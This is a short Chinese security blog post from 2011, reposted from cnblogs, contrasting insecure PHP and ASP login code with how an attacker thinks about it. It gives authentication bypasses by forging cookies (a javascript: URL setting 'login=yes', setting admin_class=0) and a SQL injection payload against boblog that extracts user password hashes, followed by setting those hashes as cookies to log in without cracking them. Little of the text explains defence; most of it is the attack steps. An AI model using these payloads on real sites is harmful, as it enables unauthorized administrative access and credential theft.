PHP安全新闻早8点_1111

//2011-11-11 星期五 
//php 程序员的思维：  
// login.php ---代码片段 
if($adminuser==$user and $adminpass==$pass) 
{ 
    setcookie("login","yes",time()+3600); 
    header("location:admin.php"); 
} 
//我们的思维： 
javascript:alert(document.cookie="login="+escape("yes")) 
############################################################ 
//asp 程序员的思维： 
//代码片段 

<% 
if Request.Cookies("xxx")("user")="" or Request.Cookies("xxx")("admin_pass")="" or Request.Cookies("xxx")("admin_class")="" then 
Response.Cookies("xxx")("user")="" 
Response.Cookies("xxx")("pass")="" 
Response.Cookies("xxx")("admin_class")="" 
response.redirect "ad_login.asp" 
response.end 
end if 
%> 
'//代码片段--判断身份 
<%if rs("admin_class")=0 then response.write" selected"%>>admin 
<%if rs("admin_class")=1 then response.write"selected"%>>user 
<%if rs("admin_class")=2 then response.write"selected"%>>guest 

//我们的思维： 
admin_class=0 

//php实例拓展：这里我引用下 心灵牛的一个例子： 
//代码片段 
if ($go) @list($job, $itemid)=@explode('_', basename($go));   
//略 
原本注入语句为  
index.php?go=category_0) union select 1,concat(userpsw) from boblog_user%23 
//略 
假如某牛真的注入成功得到MD5密码不用去跑MD5了 
直接 
setcookie ('userid', '1',); 
setcookie ('userpsw', 'md5密文', ); 

　　

转载于:https://www.cnblogs.com/noevil/archive/2011/11/11/2245938.html